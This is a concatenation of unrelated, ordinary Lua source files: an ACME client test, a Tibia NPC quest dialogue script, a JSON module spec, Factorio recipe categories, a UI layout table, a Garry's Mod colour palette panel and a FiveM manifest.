#!/usr/bin/env tarantool --package.path = "../acme-client/?.lua;"..package.path require('test.ide-debug') local acmeClient = require("acme-client") local tap = require('tap') local test = tap.test('acme-client tests') local function main_acme_client_test() local settings = { dnsName = "myname.dns", certPath = "/home/alex/projects/acme-client/test/cert/", } local function myChallengeSetup(key, value) return {key, value} end local acme = acmeClient.new(settings, myChallengeSetup) acme:getCert() --https://www.switch.ch/pki/manage/request/csr-openssl/ local validTo = acme:validTo() print(os.date("%Y.%m.%d %H:%M:%S", validTo)) end main_acme_client_test() --[[ test:plan(1) test:test('acme-client', function(test) test:plan(1) --test:is(kit.test(1), 11, "Lua function in init.lua") --main_acme_client_test() end) os.exit(test:check() == true and 0 or -1) ]]
local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function onThink() npcHandler:onThink() end local function greetCallback(cid) if Player(cid):getStorageValue(Storage.TheApeCity.Questline) < 12 then npcHandler:setMessage(MESSAGE_GREET, 'Oh! Hello! Hello! Did not notice! So {busy}.') else npcHandler:setMessage(MESSAGE_GREET, 'Be greeted, friend of the ape people. If you want to {trade}, just ask for my offers. If you are injured, ask for healing.') end return true end local function releasePlayer(cid) if not Player(cid) then return end npcHandler:releaseFocus(cid) npcHandler:resetNpc(cid) end local function creatureSayCallback(cid, type, msg) if not npcHandler:isFocused(cid) then return false end local player = Player(cid) local questProgress = player:getStorageValue(Storage.TheApeCity.Questline) if msgcontains(msg, 'mission') then if questProgress < 1 then npcHandler:say('These are dire times for our people. Problems plenty are in this times. But me people not grant trust easy. Are you willing to prove you friend of ape people?', cid) npcHandler.topic[cid] = 1 elseif questProgress == 1 then if player:getStorageValue(Storage.QuestChests.WhisperMoss) == 1 then npcHandler:say('Oh, you brought me whisper moss? Good hairless ape you are! Can me take it?', cid) npcHandler.topic[cid] = 3 else npcHandler:say('Please hurry. Bring me whisper moss from dworc lair. Make sure it is from dworc lair! Take it yourself only! If you need to hear background of all again, ask Hairycles for {background}.', cid) end elseif questProgress == 2 then npcHandler:say({ 'Whisper moss strong is, but me need liquid that humans have to make it work ...', 'Our raiders brought it from human settlement, it\'s called cough syrup. Go ask healer there for it.' }, cid) player:setStorageValue(Storage.TheApeCity.Questline, 3) elseif questProgress == 3 then npcHandler:say('You brought me that cough syrup from human healer me asked for?', cid) npcHandler.topic[cid] = 4 elseif questProgress == 4 then npcHandler:say('Little ape should be healthy soon. Me so happy is. Thank you again! But me suspect we in more trouble than we thought. Will you help us again?', cid) npcHandler.topic[cid] = 5 elseif questProgress == 5 then npcHandler:say('You got scroll from lizard village in south east?', cid) npcHandler.topic[cid] = 7 elseif questProgress == 6 then npcHandler:say({ 'Ah yes that scroll. Sadly me not could read it yet. But the holy banana me insight gave! In dreams Hairycles saw where to find solution. ...', 'Me saw a stone with lizard signs and other signs at once. If you read signs and tell Hairycles, me will know how to read signs. ...', 'You go east to big desert. In desert there city. East of city under sand hidden tomb is. You will have to dig until you find it, so take shovel. ...', 'Go down in tomb until come to big level and then go down another. There you find a stone with signs between two huge red stones. ...', 'Read it and return to me. Are you up to that challenge?' }, cid) npcHandler.topic[cid] = 8 elseif questProgress == 7 then if player:getStorageValue(Storage.TheApeCity.ParchmentDecyphering) == 1 then npcHandler:say('Ah yes, you read the signs in tomb? Good! May me look into your mind to see what you saw?', cid) npcHandler.topic[cid] = 9 else npcHandler:say('You still don\'t know signs on stone, go and look for it in tomb east in desert.', cid) end elseif questProgress == 8 then npcHandler:say({ 'So much there is to do for Hairycles to prepare charm that will protect all ape people. ...', 'You can help more. To create charm of life me need mighty token of life! Best is egg of a regenerating beast as a hydra is. ...', 'Bring me egg of hydra please. You may find it in lair of Hydra at little lake south east of our lovely city Banuta! You think you can do?' }, cid) npcHandler.topic[cid] = 10 elseif questProgress == 9 then npcHandler:say('You bring Hairycles egg of hydra?', cid) npcHandler.topic[cid] = 11 elseif questProgress == 10 then npcHandler:say({ 'Last ingredient for charm of life is thing to lure magic. Only thing me know like that is mushroom called witches\' cap. Me was told it be found in isle called Fibula, where humans live. ...', 'Hidden under Fibula is a secret dungeon. There you will find witches\' cap. Are you willing to go there for good ape people?' }, cid) npcHandler.topic[cid] = 12 elseif questProgress == 11 then npcHandler:say('You brought Hairycles witches\' cap from Fibula?', cid) npcHandler.topic[cid] = 13 elseif questProgress == 12 then npcHandler:say({ 'Mighty life charm is protecting us now! But my people are still in danger. Danger from within. ...', 'Some of my people try to mimic lizards to become strong. Like lizards did before, this cult drinks strange fluid that lizards left when fled. ...', 'Under the city still the underground temple of lizards is. There you find casks with red fluid. Take crowbar and destroy three of them to stop this madness. Are you willing to do that?' }, cid) npcHandler.topic[cid] = 14 elseif questProgress == 13 then if player:getStorageValue(Storage.TheApeCity.Casks) == 3 then npcHandler:say('You do please Hairycles again, friend. Me hope madness will not spread further now. Perhaps you are ready for other mission.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 14) else npcHandler:say('Please destroy three casks in the complex beneath Banuta, so my people will come to senses again.', cid) end elseif questProgress == 14 then npcHandler:say({ 'Now that the false cult was stopped, we need to strengthen the spirit of my people. We need a symbol of our faith that ape people can see and touch. ...', 'Since you have proven a friend of the ape people I will grant you permission to enter the forbidden land. ...', 'To enter the forbidden land in the north-east of the jungle, look for a cave in the mountains east of it. There you will find the blind prophet. ...', 'Tell him Hairycles you sent and he will grant you entrance. ...', 'Forbidden land is home of Bong. Holy giant ape big as mountain. Don\'t annoy him in any way but look for a hair of holy ape. ...', 'You might find at places he has been, should be easy to see them since Bong is big. ...', 'Return a hair of the holy ape to me. Will you do this for Hairycles?' }, cid) npcHandler.topic[cid] = 15 elseif questProgress == 15 then if player:getStorageValue(Storage.TheApeCity.HolyApeHair) == 1 then npcHandler:say('You brought hair of holy ape?', cid) npcHandler.topic[cid] = 16 else npcHandler:say('Get a hair of holy ape from forbidden land in east. Speak with blind prophet in cave.', cid) end elseif questProgress == 16 then npcHandler:say({ 'You have proven yourself a friend, me will grant you permission to enter the deepest catacombs under Banuta which we have sealed in the past. ...', 'Me still can sense the evil presence there. We did not dare to go deeper and fight creatures of evil there. ...', 'You may go there, fight the evil and find the monument of the serpent god and destroy it with hammer me give to you. ...', 'Only then my people will be safe. Please tell Hairycles, will you go there?' }, cid) npcHandler.topic[cid] = 17 elseif questProgress == 17 then if player:getStorageValue(Storage.TheApeCity.SnakeDestroyer) == 1 then npcHandler:say({ 'Finally my people are safe! You have done incredible good for ape people and one day even me brethren will recognise that. ...', 'I wish I could speak for all when me call you true friend but my people need time to get accustomed to change. ...', 'Let us hope one day whole Banuta will greet you as a friend. Perhaps you want to check me offers for special friends... or shamanic powers.' }, cid) player:setStorageValue(Storage.TheApeCity.Questline, 18) player:addAchievement('Friend of the Apes') else npcHandler:say('Me know its much me asked for but go into the deepest catacombs under Banuta and destroy the monument of the serpent god.', cid) end else npcHandler:say('No more missions await you right now, friend. Perhaps you want to check me offers for special friends... or shamanic powers.', cid) end elseif msgcontains(msg, 'background') then if questProgress == 1 and player:getStorageValue(Storage.QuestChests.WhisperMoss) ~= 1 then npcHandler:say({ 'So listen, little ape was struck by plague. Hairycles not does know what plague it is. That is strange. Hairycles should know. But Hairycles learnt lots and lots ...', 'Me sure to make cure so strong to drive away all plague. But to create great cure me need powerful components ...', 'Me need whisper moss. Whisper moss growing south of human settlement is. Problem is, evil little dworcs harvest all whisper moss immediately ...', 'Me know they hoard some in their underground lair. My people raided dworcs often before humans came. So we know the moss is hidden in east of upper level of dworc lair ...', 'You go there and take good moss from evil dworcs. Talk with me about mission when having moss.' }, cid) end elseif msgcontains(msg, 'outfit') or msgcontains(msg, 'shamanic') then if questProgress == 18 then if player:getStorageValue(Storage.TheApeCity.ShamanOutfit) ~= 1 then npcHandler:say('Me truly proud of you, friend. You learn many about plants, charms and ape people. Me want grant you shamanic power now. You ready?', cid) npcHandler.topic[cid] = 18 else npcHandler:say('You already are shaman and doctor. Me proud of you.', cid) end else npcHandler:say('You not have finished journey for wisdom yet, young human.', cid) end elseif msgcontains(msg, 'heal') then if questProgress > 11 then if player:getHealth() < 50 then player:addHealth(50 - player:getHealth()) player:getPosition():sendMagicEffect(CONST_ME_MAGIC_BLUE) elseif player:getCondition(CONDITION_FIRE) then player:removeCondition(CONDITION_FIRE) player:getPosition():sendMagicEffect(CONST_ME_MAGIC_GREEN) elseif player:getCondition(CONDITION_POISON) then player:removeCondition(CONDITION_POISON) player:getPosition():sendMagicEffect(CONST_ME_MAGIC_RED) else npcHandler:say('You look for food and rest.', cid) end else npcHandler:say('You look for food and rest.', cid) end elseif npcHandler.topic[cid] == 1 then if msgcontains(msg, 'yes') then npcHandler:say('To become friend of ape people a long and difficult way is. We do not trust easy but help is needed. Will you listen to story of Hairycles?', cid) npcHandler.topic[cid] = 2 elseif msgcontains(msg, 'no') then npcHandler:say('Hairycles sad is now. But perhaps you will change mind one day.', cid) npcHandler.topic[cid] = 0 end elseif npcHandler.topic[cid] == 2 then if msgcontains(msg, 'yes') then npcHandler:say({ 'So listen, little ape was struck by plague. Hairycles not does know what plague it is. That is strange. Hairycles should know. But Hairycles learnt lots and lots ...', 'Me sure to make cure so strong to drive away all plague. But to create great cure me need powerful components ...', 'Me need whisper moss. Whisper moss growing south of human settlement is. Problem is, evil little dworcs harvest all whisper moss immediately ...', 'Me know they hoard some in their underground lair. My people raided dworcs often before humans came. So we know the moss is hidden in east of upper level of dworc lair ...', 'You go there and take good moss from evil dworcs. Talk with me about mission when having moss.' }, cid) player:setStorageValue(Storage.TheApeCity.Started, 1) player:setStorageValue(Storage.TheApeCity.Questline, 1) player:setStorageValue(Storage.TheApeCity.DworcDoor, 1) elseif msgcontains(msg, 'no') then npcHandler:say('Hairycles thought better of you.', cid) addEvent(releasePlayer, 1000, cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 3 then if msgcontains(msg, 'yes') then if not player:removeItem(4838, 1) then npcHandler:say('Stupid, you no have the moss me need. Go get it. It\'s somewhere in dworc lair. If you lost it, they might restocked it meanwhile. If you need to hear background of all again, ask Hairycles for {background}.', cid) player:setStorageValue(Storage.QuestChests.WhisperMoss, -1) return true end npcHandler:say('Ah yes! That\'s it. Thank you for bringing mighty whisper moss to Hairycles. It will help but still much is to be done. Just ask for other mission if you ready.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 2) elseif msgcontains(msg, 'no') then npcHandler:say('Strange being you are! Our people need help!', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 4 then if msgcontains(msg, 'yes') then if not player:removeItem(4839, 1) then npcHandler:say('No no, not right syrup you have. Go get other, get right health syrup.', cid) return true end npcHandler:say('You so good! Brought syrup to me! Thank you, will prepare cure now. Just ask for {mission} if you want help again.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 4) elseif msgcontains(msg, 'no') then npcHandler:say('Please hurry, urgent it is!', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 5 then if msgcontains(msg, 'yes') then npcHandler:say({ 'So listen, please. Plague was not ordinary plague. That\'s why Hairycles could not heal at first. It is new curse of evil lizard people ...', 'I think curse on little one was only a try. We have to be prepared for big strike ...', 'Me need papers of lizard magician! For sure you find it in his hut in their dwelling. It\'s south east of jungle. Go look there please! Are you willing to go?' }, cid) npcHandler.topic[cid] = 6 elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Me expected better from you!', cid) addEvent(releasePlayer, 1000, cid) npcHandler.topic[cid] = 0 end elseif npcHandler.topic[cid] == 6 then if msgcontains(msg, 'yes') then npcHandler:say('Good thing that is! Report about your mission when have scroll.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 5) player:setStorageValue(Storage.TheApeCity.ChorDoor, 1) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Me expected better from you!', cid) addEvent(releasePlayer, 1000, cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 7 then if msgcontains(msg, 'yes') then if not player:removeItem(5956, 1) then if player:getStorageValue(Storage.QuestChests.OldParchment) == 1 then npcHandler:say('That\'s bad news. If you lost it, only way to get other is to kill holy serpents. But you can\'t go there so you must ask adventurers who can.', cid) else npcHandler:say('No! That not scroll me looking for. Silly hairless ape you are. Go to village of lizards and get it there on your own!', cid) end return true end npcHandler:say('You brought scroll with lizard text? Good! I will see what text tells me! Come back when ready for other mission.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 6) elseif msgcontains(msg, 'no') then npcHandler:say('That\'s bad news. If you lost it, only way to get other is to kill holy serpents. But you can\'t go there so you must ask adventurers who can.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 8 then if msgcontains(msg, 'yes') then npcHandler:say('Good thing that is! Report about mission when you have read those signs.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 7) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Me expected better from you!', cid) addEvent(releasePlayer, 1000, cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 9 then if msgcontains(msg, 'yes') then npcHandler:say('Oh, so clear is all now! Easy it will be to read the signs now! Soon we will know what to do! Thank you again! Ask for mission if you feel ready.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 8) player:getPosition():sendMagicEffect(CONST_ME_MAGIC_BLUE) elseif msgcontains(msg, 'no') then npcHandler:say('Me need to see it in your mind, other there is no way to proceed.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 10 then if msgcontains(msg, 'yes') then npcHandler:say('You brave hairless ape! Get me hydra egg. If you lose egg, you probably have to fight many, many hydras to get another.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 9) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Me expected better from you!', cid) addEvent(releasePlayer, 1000, cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 11 then if msgcontains(msg, 'yes') then if not player:removeItem(4850, 1) then npcHandler:say('You not have egg of hydra. Please get one!', cid) return true end npcHandler:say('Ah, the egg! Mighty warrior you be! Thank you. Hairycles will put it at safe place immediately.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 10) elseif msgcontains(msg, 'no') then npcHandler:say('Please hurry. Hairycles not knows when evil lizards strike again.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 12 then if msgcontains(msg, 'yes') then npcHandler:say('Long journey it will take, good luck to you.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 11) player:setStorageValue(Storage.TheApeCity.FibulaDoor, 1) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Me expected better from you!', cid) addEvent(releasePlayer, 1000, cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 13 then if msgcontains(msg, 'yes') then if not player:removeItem(4840, 1) then npcHandler:say('Not right mushroom you have. Find me a witches\' cap on Fibula!', cid) return true end npcHandler:say('Incredible, you brought a witches\' cap! Now me can prepare mighty charm of life. Yet still other {missions} will await you, friend.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 12) player:setStorageValue(Storage.TheApeCity.FibulaDoor, -1) elseif msgcontains(msg, 'no') then npcHandler:say('Please try to find me a witches\' cap on Fibula.', cid) addEvent(releasePlayer, 1000, cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 14 then if msgcontains(msg, 'yes') then npcHandler:say('Hairycles sure you will make it. Good luck, friend.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 13) player:setStorageValue(Storage.TheApeCity.CasksDoor, 1) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Please reconsider.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 15 then if msgcontains(msg, 'yes') then npcHandler:say('Hairycles proud of you. Go and find holy hair. Good luck, friend.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 15) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Please reconsider.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 16 then if msgcontains(msg, 'yes') then if not player:removeItem(4843, 1) then npcHandler:say('You no have hair. You lost it? Go and look again.', cid) player:setStorageValue(Storage.TheApeCity.HolyApeHair, -1) return true end npcHandler:say('Incredible! You got a hair of holy Bong! This will raise the spirit of my people. You are truly a friend. But one last mission awaits you.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 16) elseif msgcontains(msg, 'no') then npcHandler:say('You no have hair. You lost it? Go and look again.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 17 then if msgcontains(msg, 'yes') then npcHandler:say('Hairycles sure you will make it. Just use hammer on all that looks like snake or lizard. Tell Hairycles if you succeed with mission.', cid) player:setStorageValue(Storage.TheApeCity.Questline, 17) player:addItem(4846, 1) elseif msgcontains(msg, 'no') then npcHandler:say('Me sad. Please reconsider.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 18 then if msgcontains(msg, 'yes') then npcHandler:say('Friend of the ape people! Take my gift and become me apprentice! Here is shaman clothing for you!', cid) player:addOutfit(154) player:addOutfit(158) player:setStorageValue(Storage.TheApeCity.ShamanOutfit, 1) player:getPosition():sendMagicEffect(CONST_ME_MAGIC_BLUE) elseif msgcontains(msg, 'no') then npcHandler:say('Come back if change mind.', cid) end npcHandler.topic[cid] = 0 elseif npcHandler.topic[cid] == 19 then if msgcontains(msg, 'yes') then if not player:removeItem(8111, 1) then npcHandler:say('You have no cookie that I\'d like.', cid) return true end player:setStorageValue(Storage.WhatAFoolishQuest.CookieDelivery.Hairycles, 1) if player:getCookiesDelivered() == 10 then player:addAchievement('Allow Cookies?') end Npc():getPosition():sendMagicEffect(CONST_ME_GIFT_WRAPS) npcHandler:say('Thank you, you are ... YOU SON OF LIZARD!', cid) addEvent(releasePlayer, 1000, cid) elseif msgcontains(msg, 'no') then npcHandler:say('I see.', cid) end npcHandler.topic[cid] = 0 end return true end keywordHandler:addKeyword({'busy'}, StdModule.say, {npcHandler = npcHandler, text = 'Me great {wizard}. Me great doctor of {ape people}. Me know many plants. Me old and me have seen many things.'}) keywordHandler:addKeyword({'wizard'}, StdModule.say, {npcHandler = npcHandler, text = 'We see many things and learning quick. Merlkin magic learn quick, quick. We just watch and learn. Sometimes we try and learn.'}) keywordHandler:addKeyword({'things'}, StdModule.say, {npcHandler = npcHandler, text = 'Things not good now. Need helper to do {mission} for me people.'}) keywordHandler:addKeyword({'ape people'}, StdModule.say, {npcHandler = npcHandler, text = 'We be {kongra}, {sibang} and {merlkin}. Strange hairless ape people live in city called Port Hope.'}) keywordHandler:addKeyword({'kongra'}, StdModule.say, {npcHandler = npcHandler, text = 'Kongra verry strong. Kongra verry angry verry fast. Take care when kongra comes. Better climb on highest tree.'}) keywordHandler:addKeyword({'sibang'}, StdModule.say, {npcHandler = npcHandler, text = 'Sibang verry fast and funny. Sibang good gather food. Sibang know {jungle} well.'}) keywordHandler:addKeyword({'merlkin'}, StdModule.say, {npcHandler = npcHandler, text = 'Merlkin we are. Merlkin verry wise, merlkin learn many things quick. Teach other apes things a lot. Making {heal} and making {magic}.'}) keywordHandler:addKeyword({'magic'}, StdModule.say, {npcHandler = npcHandler, text = 'We see many things and learning quick. Merlkin magic learn quick, quick. We just watch and learn. Sometimes we try and learn.'}) keywordHandler:addKeyword({'jungle'}, StdModule.say, {npcHandler = npcHandler, text = 'Jungle is dangerous. Jungle also provides us food. Take care when in jungle and safe you be.'}) npcHandler:setCallback(CALLBACK_GREET, greetCallback) npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new())
--====================================================================-- -- spec/lua_json_spec.lua -- -- Testing for lua-json-shim --====================================================================-- package.path = './dmc_lua/?.lua;' .. package.path --====================================================================-- --== Test: Lua JSON Shim --====================================================================-- -- Semantic Versioning Specification: http://semver.org/ local VERSION = "0.1.0" --====================================================================-- --== Setup, Constants local json --====================================================================-- --== Testing Setup --====================================================================-- describe( "Module Test: json.lua", function() it( "loads json module", function() assert.is_nil( json ) json = require 'json' assert.is.not_nil( json ) end) end)
data:extend( { { type = "recipe-category", name = "crafting" }, { type = "recipe-category", name = "advanced-crafting" }, { type = "recipe-category", name = "smelting" }, { type = "recipe-category", name = "chemistry" }, { type = "recipe-category", name = "crafting-with-fluid" }, { type = "recipe-category", name = "oil-processing" }, { type = "recipe-category", name = "rocket-building" }, { type = "recipe-category", name = "centrifuging" }, { type = "recipe-category", name = "basic-crafting" } })
headBaseLayout= { name="headBaseLayout",type=0,typeName="View",time=0,x=0,y=0,width=92,height=92,visible=1,nodeAlign=kAlignCenter,fillParentWidth=0,fillParentHeight=0, { name="headView",type=0,typeName="View",time=107025700,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0, { name="headRobot",type=0,typeName="Image",time=107026047,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/robot.png" }, { name="defaultHead",type=0,typeName="View",time=0,x=0,y=0,width=91,height=91,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter }, { name="headFrame",type=0,typeName="Button",time=107026085,x=7,y=-4,width=127,height=116,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/head_frame.png",file2="games/common/head/head_base/head_frame_gray.png" }, { name="vipFrame",type=0,typeName="Button",time=107026196,x=-3,y=0,width=96,height=92,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/head_vip_frame.png",file2="games/common/head/head_base/head_vip_frame_gray.png" }, { name="bankruptView",type=0,typeName="View",time=109955226,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0 } }, { name="headEmpty",type=0,typeName="View",time=107026553,x=0,y=0,width=92,height=92,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0, { name="inviteBtn",type=0,typeName="Button",time=107026602,x=0,y=0,width=202,height=104,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/invite_btn.png" } }, { name="name_area",type=0,typeName="View",time=107027327,x=0,y=70,width=100,height=30,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0, { name="nick_text",type=0,typeName="Text",time=107027370,x=0,y=0,width=111,height=29,nodeAlign=kAlignCenter,visible=1,fillParentWidth=0,fillParentHeight=0,string=[[UserName]],fontSize=26,textAlign=kAlignCenter,colorRed=255,colorGreen=255,colorBlue=255 } }, { name="money_area",type=0,typeName="View",time=107027482,x=0,y=105,width=120,height=30,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0, { name="money_icon",type=0,typeName="Image",time=107027533,x=0,y=0,width=26,height=26,nodeAlign=kAlignLeft,visible=1,fillParentWidth=0,fillParentHeight=0,file="games/common/head/head_base/money_icon.png" }, { name="money_view",type=0,typeName="View",time=107027617,x=0,y=0,width=90,height=30,nodeAlign=kAlignRight,visible=1,fillParentWidth=0,fillParentHeight=0 } }, { name="score_area",type=0,typeName="View",time=107027663,x=0,y=85,width=10,height=30,nodeAlign=kAlignCenter,visible=0,fillParentWidth=0,fillParentHeight=0, { name="score",type=0,typeName="Text",time=108830876,x=0,y=0,width=10,height=30,nodeAlign=kAlignLeft,visible=1,fillParentWidth=0,fillParentHeight=0,fontSize=24,textAlign=kAlignLeft,colorRed=255,colorGreen=255,colorBlue=255 } }, { name="ownerView",type=0,typeName="View",time=0,x=0,y=-70,width=80,height=40,visible=0,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter, { name="owner",type=1,typeName="Image",time=0,x=1,y=2,width=101,height=52,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignCenter,file="games/common/head/head_base/icon_owner.png" } }, { name="net_tips",type=1,typeName="Image",time=0,x=103,y=-10,width=208,height=38,visible=0,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft,file="games/common/head/head_base/net_tips.png", { name="wifi",type=1,typeName="Image",time=0,x=12,y=8,width=31,height=24,visible=1,fillParentWidth=0,fillParentHeight=0,nodeAlign=kAlignTopLeft,file="games/common/head/head_base/wifi.png" } } } return headBaseLayout;
local PANEL = {} local color_Error = Color( 255, 0, 255 ) AccessorFunc( PANEL, "m_ConVarR", "ConVarR" ) AccessorFunc( PANEL, "m_ConVarG", "ConVarG" ) AccessorFunc( PANEL, "m_ConVarB", "ConVarB" ) AccessorFunc( PANEL, "m_ConVarA", "ConVarA" ) AccessorFunc( PANEL, "m_buttonsize", "ButtonSize", FORCE_NUMBER ) AccessorFunc( PANEL, "m_NumRows", "NumRows", FORCE_NUMBER ) local function CreateColorTable( rows ) local rows = rows or 8 local index = 0 local ColorTable = {} for i = 0, rows * 2 - 1 do -- HSV local col = math.Round( math.min( i * ( 360 / ( rows * 2 ) ), 359 ) ) index = index + 1 ColorTable[ index ] = HSVToColor( 360 - col, 1, 1 ) end for i = 0, rows - 1 do -- HSV dark local col = math.Round( math.min( i * ( 360 / rows ), 359 ) ) index = index + 1 ColorTable[ index ] = HSVToColor( 360 - col, 1, 0.5 ) end for i = 0, rows - 1 do -- HSV grey local col = math.Round( math.min( i * ( 360 / rows ), 359 ) ) index = index + 1 ColorTable[ index ] = HSVToColor( 360 - col, 0.5, 0.5 ) end for i = 0, rows - 1 do -- HSV bright local col = math.min( i * ( 360 / rows ), 359 ) index = index + 1 ColorTable[ index ] = HSVToColor( 360 - col, 0.5, 1 ) end for i = 0, rows - 1 do -- Greyscale local white = 255 - math.Round( math.min( i * ( 256 / ( rows - 1 ) ), 255 ) ) index = index + 1 ColorTable[ index ] = Color( white, white, white ) end return ColorTable end local function AddButton( panel, color, size, id ) local button = vgui.Create( "DColorButton", panel ) button:SetSize( size or 10, size or 10 ) button:SetID( id ) -- -- If the cookie value exists, then use it -- local col_saved = panel:GetCookie( "col." .. id, nil ) if ( col_saved != nil ) then color = col_saved:ToColor() end button:SetColor( color or color_Error ) button.DoClick = function( self ) local col = self:GetColor() or color_Error panel:OnValueChanged( col ) panel:UpdateConVars( col ) panel:DoClick( col, button ) end button.DoRightClick = function( self ) panel:OnRightClickButton( self ) end return button end -- This stuff could be better g_ColorPalettePanels = g_ColorPalettePanels or {} function PANEL:Init() self:SetSize( 80, 120 ) self:SetNumRows( 8 ) self:Reset() self:SetCookieName( "palette" ) self:SetButtonSize( 10 ) table.insert( g_ColorPalettePanels, self ) end -- This stuff could be better function PANEL:NetworkColorChange() for id, pnl in pairs( g_ColorPalettePanels ) do if ( !IsValid( pnl ) ) then table.remove( g_ColorPalettePanels, id ) end end for id, pnl in pairs( g_ColorPalettePanels ) do if ( !IsValid( pnl ) || pnl == self ) then continue end if ( pnl:GetNumRows() != self:GetNumRows() || pnl:GetCookieName() != self:GetCookieName() ) then continue end local tab = {} for id, p in pairs( self:GetChildren() ) do tab[ p:GetID() ] = p:GetColor() end pnl:SetColorButtons( tab ) end end function PANEL:DoClick( color, button ) -- Override end function PANEL:Reset() self:SetColorButtons( CreateColorTable( self:GetNumRows() ) ) end function PANEL:ResetSavedColors() local tab = CreateColorTable( self:GetNumRows() ) for i, color in pairs( tab ) do local id = tonumber( i ) if ( !id ) then break end self:SetCookie( "col." .. id, nil ) end self:SetColorButtons( tab ) self:NetworkColorChange() end function PANEL:PaintOver( w, h ) surface.SetDrawColor( 0, 0, 0, 200 ) local childW = 0 for id, child in pairs( self:GetChildren() ) do if ( childW + child:GetWide() > w ) then break end childW = childW + child:GetWide() end surface.DrawOutlinedRect( 0, 0, childW, h ) end function PANEL:SetColorButtons( tab ) self:Clear() for i, color in pairs( tab or {} ) do local id = tonumber( i ) if ( !id ) then break end AddButton( self, color, self:GetButtonSize(), i ) end self:InvalidateLayout() end function PANEL:SetButtonSize( val ) self.m_buttonsize = math.floor( val ) for k, v in pairs( self:GetChildren() ) do v:SetSize( self:GetButtonSize(), self:GetButtonSize() ) end self:InvalidateLayout() end function PANEL:UpdateConVar( strName, strKey, color ) if ( !strName ) then return end RunConsoleCommand( strName, tostring( color[ strKey ] ) ) end function PANEL:UpdateConVars( color ) self:UpdateConVar( self:GetConVarR(), "r", color ) self:UpdateConVar( self:GetConVarG(), "g", color ) self:UpdateConVar( self:GetConVarB(), "b", color ) self:UpdateConVar( self:GetConVarA(), "a", color ) end function PANEL:SaveColor( btn, color ) -- TODO: If something uses different palette size, consider that a separate palette? -- ( i.e. for each m_NumRows value, save to a different cookie prefix/suffix? ) -- Avoid unintended color changing. color = table.Copy( color or color_Error ) btn:SetColor( color ) self:SetCookie( "col." .. btn:GetID(), string.FromColor( color ) ) self:NetworkColorChange() end function PANEL:SetColor( newcol ) -- TODO: This should mark this colour as selected.. end function PANEL:OnValueChanged( newcol ) -- For override end function PANEL:OnRightClickButton( btn ) -- For override end function PANEL:GenerateExample( ClassName, PropertySheet, Width, Height ) local ctrl = vgui.Create( ClassName ) ctrl:SetSize( 160, 256 ) PropertySheet:AddSheet( ClassName, ctrl, nil, true, true ) end derma.DefineControl( "DColorPalette", "", PANEL, "DIconLayout" )
fx_version 'cerulean' game 'gta5' description 'QB-Logs' version '1.0.0' shared_script '@qb-core/import.lua' server_scripts { 'server/server.lua', 'config.lua' }
